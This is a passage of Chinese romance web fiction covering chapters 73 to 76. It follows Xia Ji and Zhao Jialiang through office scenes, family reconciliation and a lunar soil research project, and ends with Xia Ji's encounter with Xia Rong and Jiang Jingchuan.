“现在出发,正好能赶在午休后到公司。” 本来赵嘉良还想劝说他吃完午饭再去公司不用那么着急,但看着对方明显有些阴恻恻的笑容,到嘴边的话又被他自己给咽了回去。 午间的非高峰时段车子行驶的非常平缓,赵嘉良时不时瞥了眼正闭目养神的老婆,一边在路上抓紧时间看了几份文件。 这不是夏季第一次来赵氏集团的公司总部,却是这么多年来最被重视且热烈接待的一次。甚至上次赵嘉良还处在植物人状态,夏季带着林沐阳来跟赵炳锐叫板的时候,赵氏的前台及其他员工们都没有像今天这样郑重其事~ “这帮员工什么毛病?工作日不好好干活儿都跑门口来迎接我做什么?”夏季读书的时候最讨厌的就是领导视察的时候,不仅全校学生要夹道欢迎,还要搞一堆官僚主义的糟粕。 赵嘉良尴尬的摸了摸鼻子,“我听说上次你过来代表我开股东会议的时候这帮兔崽子对你不够友好,所以今天我特意交代了一下” 最烦官僚主义的务实派夏季:…… 不过话又说回来,其实夏季来赵氏这么多次,上一次来开股东会议的时候其实都算赵氏前台小姐姐们对他脸色好的了。 要知道之前夏季被动称为“赵嘉良豢养金丝雀”的时候,但凡他一个人在上层公共场合走动,多多少少都会被人投以异样的眼光。刚开始的时候夏季还有些不服气,但被老胡动之以情晓之以理知道利害轻重之后也就默默忍耐了。这一忍就是好几年,习惯了。 而习惯,又往往是最无奈的东西。 “不过你家公司前台更新迭代的速度还挺快的,不过也就是迭代到这一代才终于不会对我翻白眼了。”夏季忽然就想到自己第一次被赵嘉良缠着带到赵氏“视察工作”时的场景了。 像赵氏本部前台的这种关乎企业门面的岗位,可从来不是一般公司前台能碰瓷的。长得漂亮,擅长察言观色,有学历有能力,甚至有一定的背景,都是能从诸多竞争者中脱颖而出的必备要素。而这样的年轻女孩儿本就心高气傲,对于夏季这种“靠脸上位的无耻之徒”没有好颜色也正常。 只是这话落在赵嘉良耳中就变了味。 他大惊失色,“什么?以前我公司前台还对你翻白眼?!” 夏季有些好笑的拍了拍他的胳膊,示意他不要那么大惊小怪,“这很奇怪吗?我之前名声多稀烂你是头一天知道吗?” 赵嘉良神色复杂的看了他一眼,最后还是选择了转移话题,“我让王秘书点了你最爱吃的那家椰子鸡饭,一会儿你先吃点东西。” 之前赵嘉良当植物人的时候,那位被赵炳锐百般打压发配边疆的王秘书这时候已经重回总裁办公室的要地。因着她在赵嘉良出事阶段没有做出任何背主行为,也未将赵嘉良的机密文件透露给赵炳锐,在赵嘉良重回公司之后,她自然受到了诸多提拔。 “其实我觉得王秘书没有把你的机密文件泄露给赵炳锐,是因为她根本找不到吧?” 因为赵嘉良自己也知道自己办公室埋汰,所以之前他带夏季来赵氏“视察工作”的时候都会有意识的刻意避开参观总裁办公室的这一环节。但今天要带夏季来公司,赵嘉良可是特意跟秘书打过招呼,让她提前收拾的! 看着只比平时整洁了一点点的办公桌,赵嘉良真的是超级,无敌,极端无语! “这个小王真是的,一个小姑娘家家的连收拾东西都不会!”赵总恼羞成怒的把桌面上一堆文件扫到一旁,然后让夏季去还算整洁干净的沙发那边坐下,“你要不先吃东西?我去把小王骂一通再说。” 夏季好笑的瞪了他一眼,“就你桌上的那一堆文件和乱七八糟的东西,还我来收拾我都不知道从哪里收拾起!你还怪人家王秘书,这些玩意儿她真收拾都得收一件问一句吧?” 说着他颇为感慨的摇了摇头,“就你这办公室凌乱的程度,专业的商业间谍进来都得翻上两天还未必能找到商业机密文件吧~” 赵嘉良气急败坏,“怎么可能!我所有的东西放在哪里我心里门儿清!” “夏季你可别乱说哈~我工作这么多年,可从来没有出现过自己把重要文件合约弄得找不到的事情。” 毕竟能在一堆中,精准的找到那一坨,也就到处乱扔的赵嘉良本人能够精准命中所需物品了。 但考虑到这个办公室实在乱的夏季都看不过眼,他更不愿欣赏赵嘉良鸡飞狗跳的办公过程,于是施施然的吩咐王秘书把美味的椰子鸡饭送到员工休息室那边,他要单独品尝。 “你吃过了应该不饿吧?记得准时吃饭。”夏季丢下这句不冷不热的关心,就出去吃饭了。 本来赵嘉良今天坚持让夏季来送自己上班是想多些跟老婆黏糊亲热的时间,而在夏季今天请假之后,他又希望能够借着这个机会把自家的宝贝带到人前来,让所有人来瞻仰一下他们赵氏的最高话事者。 不过由于只是临时突发奇想的吩咐,赵嘉良手下的那帮人显然没有完美完成任务。如今这模样,颇有种马屁拍在马腿上的感觉。 在夏季离开之后,赵嘉良先是喊来了HR负责人询问了之前的公司前台的情况。在亲自下达之前的前台员工不管是升职还是转岗的,一律解雇之后,赵嘉良要求HR部门加强员工培训,以后决不能出现对老板娘不敬的情况! 不过那位一脸褶子的资深HR总监一言难尽的看了他一眼,道,“赵总您放心吧,大家都不是傻子。以后没谁会对夏先生,哦不,是夏董不敬的。” “毕竟,如今整个赵氏都是他的,您现在跟我们一样也都是赵氏的打工仔而已……” 没有哪个正常的打工仔会对老板翻白眼的,除非他是不想干了。 赵嘉良一噎,有些恼火的揪了揪头发,最后一拍桌子,“通知下去,让各部门负责人过来,开个会!” 赵嘉良那边火急火燎的召集下属开会的时候,夏季正在宽敞明亮的顶层员工休息室里品尝着美味的椰子鸡。 这家非常正宗的海南椰子鸡饭是夏季偶然在京大附近发现的,他很爱吃,但因为距离远,且店家不做外卖也只能走到附近的时候偶尔吃吃。今天是因为赵嘉良做了亏心事,特地让人去京大门口排队,自带餐盒打包的。 还打包了两份。 夏季今天胃口不错,吃完一份之后,把另外一份也吃了两口。 王秘书看他那架势,估计是不准备给赵总留口吃的了。她本想着要不要单独给赵总点份外卖,但总经办通知赵总要临时加常会议,点外卖的事情就被耽搁了。 等下午三四点会议结束,她再返回休息室的时候却看到夏先生已经在一众总经办员工的伺候下,舒舒服服的在休息区玩起了手机。 默默的把门带上后,几位在总经办干了多年的秘书都心惊胆战的,显然对这位大佬莅临公司的目标有些不解。 “王姐,就您跟夏先生熟络点儿,您知道他今天过来这是”这时候他们已经听说了好几个女员工被解雇的事情,再加上夏季还有血洗管理层大半高管的前科在,原本赵氏内部刚刚因着赵嘉良回归而稳定一些的军心又难免动荡起来了。 另外一位秘书小姐也一脸担忧的问,“我刚刚听说林主管那个国外常青藤毕业,来咱们公司从前台基层做起,今年刚刚升职到后勤部的外甥女也被通知解雇了,这到底是什么情况啊?” 王秘书叹了口气,“这跟你们没关系。都是打工人,只要踏踏实实干活,老老实实工作,就不会影响到你们。” 几个秘书小姐面面相觑,似乎还有些不明白。 于是王秘书又说,“还没看出来吗?今天被解雇的都是之前干前台的,还有干接待工作的” “你们之前私底下不都讨论说林主管的外甥女整天花枝招展,拜高踩低,不像是来正经工作,反而像是来钓金龟婿的吗?咱们赵总是什么人?京圈第一纯爱战神,就在咱们赵总手底下,哪怕是个天仙也不可能有出头之日。” 话说到这里,诸位心里有底了,也就忍不住笑了出来。 一位年长些的秘书笑道,“有咱们夏先生哦不,是夏董珠玉在前,我现在看电视上的那些大明星都没一个能配得上天仙这个词儿了。” 几个女士又嘀嘀咕咕的就夏董那张完美无瑕的脸讨论了几分钟,然后就各自散了去干活了。 等赵嘉良安排好工作回头来找夏季的时候,对方已经起身站在床边讲起了电话。 从锃亮的单面玻璃倒影中,赵嘉良能看出他的面色凝重。对于电话那头的人物,他心中顿时有了几分猜测。 注意到他的进入,夏季冲他比了一个“嘘”的手势。在简单应和了两句,结束通话之后,赵嘉良几步走到他跟前,沉声问,“是老胡吗?” 夏季有些讶异的看了他一眼,“猜的还挺准。” “这还用猜吗?”能让夏季露出这种棘手表情的,除了他伟大的航天事业之外,也就只有老胡这个麻烦的象征了。 夏季笑了笑,意简言赅道,“闫庆泽被放出来了,老胡找我帮忙。” 说着他又轻咳了一声,“老胡说今年他们单位的报销额度不够了,明年开年了报销下来了再把赵天生的医疗费还你。” “明年?”赵嘉良仿佛听到了真金白银打水漂的声音,“等到明年赵天生坟头都该长草了!” 考虑到之前在保密单位的时候老胡对自己颇有照顾,还好几次帮自己化解了暗中的危险,夏季还是忍不住帮他说了两句,“不会的,老胡他们单位是在自然年算的,元旦之后就算明年了。坟头的草起码开春才会长,报销没那么慢的。” 赵嘉良被气笑了,又有点儿委屈,“我说的是那个意思吗~” 他今早吃早饭的时候还接到了人民医院的电话,说赵天生上了呼吸机之后情况稳定了,但不确定能不能醒,什么时候能醒。 因为是公立医院,医生对高昂医药费患者的缴费情况比较敏感,拐弯抹角的问了赵嘉良好几句。在确定患者家属绝不会拖欠医药费之后才欢天喜地的挂了电话。 赵嘉良心烦意乱的往沙发上一瘫,“宝贝,我觉得赵氏的执行总裁薪水有点低,我申请加薪。” 毕竟如今赵嘉良不仅要管理赵氏,同时还要接手夏燃搞了一半的夏氏,因此工资翻倍也算是合理诉求。 好在夏季也不是个吝啬的老板,他手一挥直接准了。穷困潦倒的赵嘉良顿时又活蹦乱跳了,“那我现在就找财务和人士的人去出文件,正好你今天在公司,给我把涨薪文件签一签。” 见他跟昨晚到处咬人时一模一样的猴急,夏季没好气的白了他一眼,“那在给你涨薪之前你是不是应该跟我好好交代一下你昨晚的恶行?!” 自己这个人其实是很有原则的,他虽然被赵嘉良带坏了,偶尔会跟他胡搞乱搞,但那都是有限度,要征求彼此同意的。 趁着自己困的不行,睡到一半迷迷糊糊,不知反抗的时候乱来这简直太过分了!夏季坚决不会让昨晚的事情轻易蒙混过关,不然以赵嘉良这种温水煮青蛙的惯犯,以后只会愈发得寸进尺!他必须把一切不良因素都扼杀在摇篮中。 本来赵嘉良还有点儿心虚,但在听到休息室门口传来的人声和脚步声后,他又梗着脖子大声道,“昨晚?昨晚什么事?” 赵氏这个总部办公楼已经有些年头了,装修都是十几年前赵锋锐在位时搞得,赵嘉良在认识夏季之前又是实用主义者(认识夏季之后成了京圈最穷霸总),所以公司的装修大部分还一直沿用着赵锋锐时期的风格。因此,这间宽敞的休息室大门其实隔音效果非常拉胯,甚至夏季站在窗口都能比较清晰的听到门外的人在说什么。 看着赵嘉良一副死猪不怕开水烫似的模样,仿佛是料定自己不好意思在外人面前就昨晚的问题跟他清算,夏季笑了。 只见他微微躬身,伸出一只纤细的食指在男人的胸口轻轻点了点。 微微眯起的漂亮桃花眼中柔情似水,那张如玉般的漂亮脸蛋凑近了些,几乎是贴着男人的耳边,语气魅惑婉转,“昨晚的事你这么块就忘了?” 赵嘉良微微仰起头,喉结滚动。 “我” 正当他不知如何回答的时候,夏季的手指却又微微屈起,学着他某些时候惯用的伎俩,力道不轻不重的缓缓向下,最后落在了某个危险的地方。 “哎,它一会儿不记得了吗?” 赵嘉良差点儿当场爆炸。 正当他想不由分说的把这个故意乱撩拨的家伙就地正法时,对方却早有防备的一个后撤步,让他扑了个空。 “宝宝~”一兴奋起来手脚就更不好使的赵某欲哭无泪,“我知道错了。” 可惜夏季完全没有为自己轻松点起来的火收场的意思。 只见他掸了掸衣袖,“哦,忘了跟你说了,夏燃刚刚给我打了个电话,说他老婆想请我吃饭。” “知道你工作忙,好好加班。约的地方远,我先走了。” “咱们,晚上见。”留下一个危险的笑容,夏季挥了挥手,走的十分潇洒。 作者有话说: 新年快乐 第74章 只管放火不管灭火的某不负责任男人拍拍屁股, 走的十分潇洒。 赵嘉良在休息室里足足冷静了二十分钟才黑着脸出来,只是这时距离公司正常下班的时间也没有多久了。 “赵总,我给您外卖点了份沙拉, 您要不垫垫肚子吧。”由于夏先生没给赵总留饭, 跟了赵嘉良多年的秘书小姐眼神怜悯的把手里的冰冷的沙拉塞到他手里,“晚上您还要加班呢,饿着了夏二少会心疼的。” 一般来说, 谁家亲友大病初愈之后,不说很长时间,最起码刚出院的几个月家里人都应该小心呵护,格外照顾吧?赵嘉良虽然也受宠若惊的被夏季好生照顾了两天, 但那是真就只有两天啊! 倒不是赵嘉良有多热爱工作,喜欢当工作狂。主要是夏燃那边因为自身的家庭原因急着脱手夏氏, 交接工作催的急。另外一方面也是赵嘉良自己手头上没多少钱了,他急需努力干活挣点奖金。不然就赵天生在ICU里的烧钱法, 眼看着年底了自己恐怕都过不上个好年。 不过让赵嘉良没想到的是, 当自己披星戴月的准备下班的时候, 却在灯火通明的自家公司大门口碰到了那个“放火大盗”。 赵嘉良有些惊喜的快步上前,这才注意到夏季这次不是一个人来的。 “阿良下班了,就麻烦你们送到这儿了。天气冷, 嫂子身体不方便就别下车了,赶紧回去吧。”夏季只是看了赵嘉良一眼, 然后关上车门冲车里的人挥手示意。 赵嘉良走过去自然的搂住夏季的腰, 以一种颇具占有欲的自然垂首看了一眼那台有些眼熟的宾利。确定里面是夏燃和高嘉丽之后,他矜持的跟对方打了个招呼,然后跟夏季一起目送他俩离开。 “怎么跟他俩吃饭吃了这么久?”在赵嘉良的印象中,夏季跟夏家所有人的关系都不好。 他俩在一起这么久, 赵嘉良也从未从夏季嘴里听过一句夏燃的好话。所以他自然而然的觉得夏季跟夏燃的关系也不好。事实上在夏季生日之前,赵嘉良一直将夏燃视为敌人。但自从夏燃放弃夏氏,几乎是无条件的将夏氏股份全部转给夏季,并且在转手工作上也十分配合妥帖之后,赵嘉良对他的防备之心也没有完全放下。 照理说,以夏季跟夏燃的关系,他俩就算一起吃饭应该也没什么好说的。 此时已值初冬,夜风呼啸。 赵嘉良帮他拢了拢衣襟,手背碰到他微凉的下巴,怕他冷试图扯开自己的外套把人揣怀里。但夏季毕竟是个成年男人,很大一只,他鼓捣了半天没揣进去。 “衣服有点小。”面对对方投来鲨人的目光,赵嘉良干笑了两声,试图解释自己刚才的行为。 夏季瞪了他一眼,懒得评价这人的脑回路。 “回家!” 大奔商务车里空调开的很足,被夜风吹的有些凉的夏季脱掉外套,忽然说,“以后跟夏燃他们多走动一下吧,他没了夏氏,纯给高家当上门女婿也挺不容易的。” 赵嘉良一愣,下意识的开口,“你怎么还关心起他了?” 车窗外斑驳的霓虹灯光映照在车内,光影变幻间让赵嘉良有些看不清夏季的表情。 “我只是忽然觉得,夏燃除了软弱,其实也没有什么罪大恶极的地方。”而这主要得益于夏燃是由夏家老两口和夏听风教养长大的。 因为夏季的事情,喻馨后面其实都很少跟夏听风住在一起。夏燃虽然知道自己有这么亲妈,但即使是亲母子也需要相处和陪伴才能建立情感。从小就要忍耐亲妈对养弟夏荣那种偏心到咯吱窝的区别对待,哪怕是天生就会爱母亲的孩子也会有心彻底冷掉的时候。 再加上后面夏听风去世,夏燃又全程目睹了喻馨霸占家产,婚内出轨等等事件。其实除开物质生活条件,真论起来夏燃的成长环境甚至都还不如夏季。 赵嘉良想了想觉得他说的也有道理,而且四处树敌本来也不利于做生意。毕竟和气生财嘛~ “行,那改天咱们一起吃个饭。”想想夏燃在给他们送钱这事儿上也算是非常真诚给力了,赵嘉良自然也不愿表现的太小气。“对了,他太太的情况如何?” 被喻馨嚯嚯的可怜人很多,但真论起来高嘉丽绝对是其中最无辜,最没道理的一位了。 夏听风夏季这些真论起来跟喻馨或多或少跟喻馨还有些感情纠纷或利益纠纷,只有高嘉丽这位受害者,那可真是纯纯的恶意。 “情况不太好”说起这事儿,夏季忍不住揉了揉眉心,“今天早上柔柔姐带他们找她家那个妇科圣手大佬看过了,也是建议拿掉。” 他们虽然无法跟一个几度失去孩子的父母共情。可但凡稍微设身处地的想一下,大概也能理解夏燃和高嘉丽为什么那么恨了。 “已经预约了后天下午的流产手术,我准备后天下班去医院探望一下。”要探病肯定不好空着手去,回家路上顺便去了一趟附近的商场买了点儿营养品。考虑到赵嘉良加班,今天一天就只吃了个早饭,和下午三点多的午饭,夏季怕把这个尚未痊愈的病人饿坏了,又领着他去吃了顿晚茶。 也就是吃饭的时候赵嘉良才得知这次夏燃来找夏季的时候,除了带上老婆之外还带上了夏荣这个拖油瓶。 “不是宝贝儿,你说你跟夏燃握手言和就算了,毕竟你俩之前没啥矛盾只是纯互视对方为空气,但你能跟夏荣坐一桌吃饭我就不理解了。”赵嘉良挺一言难尽的,“宝宝,不是我故意诋毁你哈。就你这性子,离乐山大佛真挺远的。” 以自己昨晚稍微多放肆一点,今天就得被他报复回来的架势就凭夏荣以前仗着喻馨作靠山,往死里打压夏季干过的那些腌臜事儿~要让赵嘉良相信夏季能看在所谓“兄弟一场”,看在夏荣如今已经很惨了放他一马,当作无事发生,还不如让他相信夏季是个绝世圣父呢。 果不其然,他这话一出就被夏季瞪了一眼,“那他死皮赖脸的要一起来,我还把他从餐厅里撵出去吗?” 赵嘉良小声嘀咕,“就他那人人喊打的名声,你真想撵还撵不出去吗?” 夏季沉默片刻,低声说,“闫庆泽出来了,老胡让我帮忙盯着点。” 这下赵嘉良更不乐意了,“他什么意思?你一个搞学术的怎么还要掺和他们部门的事情?他给你工资了吗就让你帮忙盯着!” 这倒不是赵嘉良不愿意乐于助人,只是经过一次车祸的他切身体会到了某些事情的危险性。这也就是他身体底子够好,但凡那些幕后黑手的目标不是自己这个出现的人而是夏季这个真正搞科研项目的,赵嘉良都不敢想象同样的事情发生在夏季身上,他能不能活得下来?! “不行,咱们家的安保等级还得往上提!”这下赵嘉良更是坐都坐不住了,“以后你出门不管去哪儿都要给我报备,还有随身的GPS定位也不能离身!” “哪儿就到那种程度了。”夏季失笑道,“人家只是让我帮忙看看京大这边还有没有那种明显有潜力的学生被拐去干别的捞钱快行业了,又不是请我当卧底。再说了,老胡他们部门能人异士多的很,怎么也轮不到找我这个没啥大用的外援。只是我帮他盯能怎么盯?京大的学生那么多,科学院的天之骄子也是一群一群的,我还能帮他一个个关注到,确定人家准备冲谁下手不成?” 只是老胡开口了,夏季就是再想弄夏荣,也得先捏着鼻子忍一忍。毕竟那个闫庆泽能在做喻馨“身后的男人”,并在喻馨进去之后不仅毫发无损,还被顺利放出来了,这足以说明这个男人根本不是什么单纯捞钱的小白脸。 毕竟他跟在喻馨身边二十多年,连生的儿子都二十五六了,这二十多年来到底发生过多少不为人知的事情,谁也不好说。 但夏季越是这么说赵嘉良的脸色就越不好看。 不过最终他还是没有说出什么激烈反对的话语,只是第二天夏季出门上班的时候却发现平日接送自己的车子不仅从日常的辉腾变成了悍马,就连司机也从平时的一人,变成了一队。 “夏少,这是赵总连夜给您安排的。”见他出门的脚步一顿,老管家赶紧上前帮人解释了一番,“赵总也是一番好意” 夏季不置可否的点了点头,虽然心里明白这些安排其实没有什么意义。但毕竟是对方的关心,他也不好不接受。 于是他转头对管家道,“他今天应该公务不多,会准时下班。你提醒他一下,下班了别回家,直接去医院做复健。还有,记得让他吃了晚饭再去,家里晚上就不给他留饭了。” “这好吧。”目送着夏先生远去的背影,徐管家的脸皱得跟朵老菊花似的。 也不知道这两位是又闹什么矛盾了? 第75章 其实真说闹矛盾, 那真犯不上。 只是夏季自幼野蛮生长,自由散漫的生活惯了,是很不喜欢助理佣人保镖一大群的“贵族式”生活的。尤其是他如今这个情况, 被人整天簇拥着着实让他有些心烦。尤其是工作还不顺的情况下, 夏季甚至都忍不住反思,自己是不是做出了一个错误的决定了。 早上销假恢复正常工作节奏,开早会的时候几位老教授垂头丧气如丧考妣的模样让夏季的心情难免受到影响。他坐在会议室靠窗边的位置, 侧首就能看到楼下大院里停着的那几台车。和车上兢兢业业,不曾离开片刻的安保人员。 “就咱们手头上的这些月壤,我实在看不出有任何研究价值。”他们这个项目负责人是个研究了一辈子种地的老教授。在农业学方面颇有名望,几乎属于家喻户晓的明星科学家了。 受他的悲观发言影响, 整个团队的热情都不高。主要是月壤虽然研究价值很高,但作为种植原材料来看, 那简直是贫瘠的不能再贫瘠了。 就连夏季这种并不是农学相关专业的,看了成分分析表之后就觉得他们这项目已经凉一半了。而今天让大家更不爽的是, 今早有一条热搜在外网讨论声很大。是某国专家声称:月亮是属于全人类的, 月壤不属于某个国家, 华国科学院必须交出土壤。 “本来一共就带回了3.3kg的月壤,咱们项目组一共也就分了1.2kg。”一群人愁容满面。 他们这帮人除了借调过来做空间分析的夏季之外,全是种地方面的专家, 一旦研究项目有了结论,他们手里的这点儿月壤很可能就要被收回, 交给更有前景的项目组去做其他方面的研究。 夏季刚进组就要面临项目暴毙, 但他本人还是表现的挺淡定的。毕竟搞研究的,刚开始就发现研究方向死路一条。没有浪费过多的时间精力和金钱成本,其实从某种程度上来说是一件好事。 只是不能种地而已,并不代表没有其他的研究价值。不然外国的那些专家也不会发出这种, 要求科学院交出月壤这种屁话来了。 “所以咱们手里的这部分月壤要交出去了?”夏季坐在会议室里听了一会儿,抓住了问题的重点。 因为农学方面已经几乎没有什么继续研究的价值了,几位消息灵通的老教授也是现在闲了,跟夏季多说了一嘴。 “A国说是要送一批国宝回来。这礼尚往来,客气一下也得回点儿东西。” 自从那个保密项目成功之后,华国航天举世瞩目。作为有幸参与其中的工作人员,夏季与有荣焉。只是那颗每年以四厘米的速度离开地球的美丽月亮,能留给他们的东西还是太少太少了。 夏季叹了口气,“好吧。” 这种事情轮不到他们这些科研人员来做决定,因为项目几乎没有什么研究价值,大家只需要严谨的完成自己手里的总结工作就差不多能散伙了。这类工作内容并不复杂也不困难,甚至连保密价值都没有。夏季已经很多年没有干过这么轻松的活儿了~ 由于之前长时间的高强度工作,夏季没有午休的习惯。只是项目上工作不忙,同组的同事又大多是差了辈儿的老前辈,在中午这昏昏欲睡的大环境下,夏季就是不想睡也有点儿顶不住。于是,他决定买杯咖啡提提神。 因为科学院是禁止外卖入内的,再加上这时候窗外又飘起了小雨,夏季他们项目组所在的楼栋的最靠里面,安保规格最高的。从这幢有些年代久远还没电梯的实验楼六楼,走到大门口的外卖领取点就要十几分钟。在加上这下小雨的天气,一下子就显得赵嘉良安排的随身安保人员用处大起来了! 如果不是因为安保条理,实验楼的工作人员不能带无关人员进楼,夏季甚至都想让保镖把自己的外卖咖啡送到六楼来。 “谢谢,辛苦你们了。”不过把十几分钟的路程节省到几分钟,夏季还是赚的,向保镖道谢之后,他想想又说,“科学院的安保等级很高的,你们不需要24小时待在这儿。一直待在露天停车场多憋屈啊,给你们放半天假,五点半之前回来接我就行了。” 收了重金来上岗的保镖们起初说什么都不同意,但夏季实在不喜欢这种浪费人力资源的无意义行为。在他看来,要是自己在科学院这种国家最高科研机构都能出事,那他们也没必要搞什么研究了,直接把科研成果大公开,供全世界取用得了。 因为在整个赵家,夏季的话语权是极大的,甚至远超过赵嘉良。所以在他的要求下,这些保镖还是同意了重新规划工作时间,五点半再来接他的要求。跟他们把话说清楚之后,夏季就拎着咖啡转身上楼继续下午的工作了。谁知他这还没走进实验楼大门,就被一道熟悉的声音喊住了。 “夏季!”这鬼一样的声音曾经在早些年间是夏季最烦的。 不过这次,夏季只是轻叹了口气,调整好面部表情,不怎么情愿的转过身。果然,下一刻他就看到不远处一道白色的身影在雨帘中向自己小跑过来。那抹纤细脆弱的身影在雨中颇有种破碎的脆弱感,配合着那略带哀戚的声音,让夏季下意识的“嘁”了一声。 “夏季,等一下。”听着那人一副快哭了的声音,夏季就知道这人老毛病犯了。 他稳稳的站在原地,看着那位演技精湛的夏影帝开始了他的表演。 夏季本想心平气和的陪他演一下的,可当对方那只湿哒哒的冰手触碰到自己的手腕时,那冰冷的触感让他下意识的反手一把甩开了对方的触碰。 “有话好好说,别一上来就动手动脚的。”夏季居高临下的睨了一眼被自己一碰就必摔的夏荣,有些好笑的说,“这里可没旁人,你摔给谁看呢?” 一段时间不见,夏季发现对方相比上次见面时消瘦了不止一点。不过这也是他该承受的。 这个世界冥冥之中总是有因果轮回的。夏荣享受了太多原本并不应该属于他的东西,当孽力反噬的时候,无论他愿不愿意,这份落差他都得受着。夏季深深的看了一眼面色一瞬尴尬,又随即重新戴上娇弱面具的对方,只得感叹,可惜有的人不懂这个道理,还在试图继续肖想那些不应属于自己的东西。 “我没就是地上有些滑”若是放在以前,夏荣一定会一哭二闹的给夏季来个“恶毒哥哥故意推我”的豪华套餐让他吃不了兜着走。但时至今日,夏荣才猛然发现以前屡试不爽的招式是需要特定观众才能上演的。 午休时间的实验室楼门口稀稀拉拉的就几个保洁阿姨路过。这些老实本分的老人家恐怕连电视剧都没怎么看过,连夏荣是谁都不知道,只会觉得这个年轻人是不是四肢不协调,这都能平地摔。 夏季轻笑了两声,“呵,也就是今年是个暖冬,这个月份了没下雪。不然这大门口的路冻上了,小夏影帝怕是得摔的半身不遂呢。” “我下次会注意的”夏荣可怜兮兮的从地上爬起来,垂头丧气的模样看着是真的有十分可怜了,“大哥把我从老宅赶出来了,他说夏家永远是你的夏家可是夏季,我们毕竟是打断骨头还连着筋的亲兄弟啊。以前的事情是我不对,我向你道歉,怎么道歉都行。哪怕是现在让我立刻上WB公开澄清当年的那些污名都可以!” “这些天我反省了很久,也想了很多。错的就是错的从小妈妈就教育我说我就是夏家的一份子,你才是不该存在的。我也不知道自己是怎么了,就是觉得妈妈说的都是对的,听着她的话做了额很多不该做的事情。现在想想,我也不知道自己当初到底是怎么就被蒙蔽了双眼,就好像做梦一样根本分不清是非对错。”夏荣说着说着十分伤心的捂了捂脸,一副欲哭不哭的表情,“我今天跟你说这些并不是想请求你给妈妈出具谅解书或者不要起诉她什么的。她做的错事自会有法律作出公平公正的判决,我只是希望你能给我一个改过自新的机会。” 从某些角度上来讲,有着喻馨这种亲妈,夏荣哪怕天性纯良也压根儿不可能长成什么好鸟。更何况夏季对这位针对自己多年的小夏影帝实在太过了解,他那精湛的演技或许能够完美的欺骗一些跟他不熟的陌生人,但对夏季来说夏荣或许还得练练。 不过出于某些方面的考虑,夏季还是若有所思的点了点头,“哦,所以你想让我给你一个怎么样的机会呢?” 夏荣如今最大的困境其实说白了还是一个钱字。 从小含着夏季的金汤勺出生的他一直活到二十五岁才第一次体会到所谓“没钱”的滋味,这也是让他这个夜店男模的儿子一下子返璞归真了。 因为跟周镇川有婚前协议,本来想着要多拖一会儿,从周家多捞点好处再离婚的夏荣在赵嘉良醒来之后麻溜的当天就从周家卷铺盖跑路了。毕竟周镇川在赵嘉良还当植物人的时候,要跟自己离婚好大张旗鼓的重新追求夏季的事情可不是什么秘密。而赵嘉良那种顶级恋爱脑对待情人自然如舔狗一般如沐春风,但对情敌那可绝逼是跟疯狗一样吃人还要嚼骨头的。虽然现在周家还没什么动静,但等到赵嘉良身体恢复,局面稳定之后周镇川肯定没好果子吃。 夏荣对离婚的事情并不后悔,但他没想到的是离婚之后自己最大的靠山居然没了。 “二哥~你能不能帮忙跟大哥说一声,我想回去住……”夏荣这一声二哥喊的又软又嗲,夏季听着浑身鸡皮疙瘩都快起来了。 他似笑非笑的轻轻摸了摸自己的手臂,“你这声二哥可真是” 他话音未落,又一位老熟人不知从哪里冒了出来。 “夏季?你在这边上班吗?”蒋靖川今天穿了一件白色外套,搭配米色长裤,看起来年轻洋溢,好像个还没毕业的大学生似的。 这两人的同色系搭配让夏季不禁多看了夏荣两眼,“你俩一起来的?” 察觉到他探究的视线后,蒋靖川赶紧解释道,“衣服的事情纯属巧合。我今天来科学院这边见老师,我的车抛锚了,正好夏荣顺路过来送我一程。” “顺路?”夏季一挑眉。 在他的记忆中,夏荣可从来跟乐于助人不沾边的 没什么心眼的蒋靖川乐呵呵一笑,“小荣说他今天要去看守所探望,就顺路载了我一程。” “哦”夏季的视线再次在两人之间徘徊,“可我记得关喻馨的那个看守所在城北那边啊” 而科学院靠近城南的红枫山,跟京市看守所南辕北辙的,开车过去不堵车都要近一个钟头了。 “啊?”蒋靖川闻言明显是愣住了。 夏季虽然没有看过蒋靖川主演的电视剧,不过听师兄师姐手下带的那帮研究生博士生闲聊的时候说过,蒋靖川此人毫无演技。 他有些好笑的打量了蒋靖川一番,发现今天此人打扮的格外低调,即使没带明星三件套也挺自然好看的。 “之前听说你有退圈回来搞科研的想法。怎么?如今还是觉得听妈妈的话好,决定回来继续念书了?” 之前林教授还在的时候,夏季曾经不止一次的听他说起蒋靖川的数学天赋绝顶。毕竟那位老教授带过的学生比王老还多,能让他亲自开口让手下人帮忙做迎接工作的,开天辟地也就蒋靖川这一回。因此,夏季之前虽然没有见过蒋靖川,却牢牢的记住了此人的名号。尤其是他按照林教授的意思亲自准备了蒋靖川的座位等一切前期工作,却被放了鸽子之后,向来记仇的夏季就不可能忘了这人。 不过对于夏季的想法一无所知的蒋靖川只是有些不好意思的挠了挠头,“真的太惭愧了。知道真相之后我后悔了很久,还是被金钱蒙蔽了双眼。我唱歌不行,演技更烂。除了一张脸还能凑合看之外,实在没有在娱乐圈混下去的必要了。” “我也就一点数学天赋能拿得出手了。当初辜负了林教授,现在想来真的很愧疚,希望我现在回头重来为时不晚吧。” 第76章 蒋靖川能有这种想法确实是个好事。 很多人不理解数学专业天赋怪的含金量。 夏季虽然从小立志的方向是天文方面, 但他们这种专业是绝对不可能绕的过数学的。就比如夏季自己,当年高考是省状元,但他的高考数学也不是满分。 而蒋靖川这人虽然在娱乐圈里靠着有心之人的刻意造势看起来混的还不错, 但跟他当年在京大的天才名声却依然相去甚远。有这种天赋却因无知而白白浪费, 夏季一直耿耿于怀。如今看到耽误了好几年的天才终于幡然醒悟,却又跟夏荣搅和到一起说实话,夏季心情挺复杂的。 “浪子回头金不换, 这话对你俩都适用。”夏季大度的开口道。殊不知说这话之前他已经在心里默念了三遍“我不生气”。 随即他又冲蒋靖川微微一笑,那好看的笑容让对方一下晃了眼,“所以你现在是要报考哪位大佬的研究生呢?” 实际上半个月前蒋靖川裸考参加拉了今年的研究生考试,他的成绩还没出来, 据说数学科学院那边的几个大佬为了争抢他都差点儿打起来了。蒋靖川会拜入哪位名师门下,除了他自己的选择之外, 还要看各位数学大佬的战斗力。 夏季越问越酸,跟他寒暄完了之后他手里的冰美式的冰块都快化了。 “我得回去工作了。”已经得到自己想要的信息, 夏季冲他俩摆了摆手。 夏荣欲言又止的还是拽了拽他的衣角, 嗫嚅着唇小声开口道, “那大哥那边你帮我跟他说说吧?” “明天吧,明天我跟赵嘉良探望高嘉丽的时候再跟他说。”夏季答应的挺爽快的,还顺嘴问了一句, “你现在没住夏家老宅是住在哪里?” 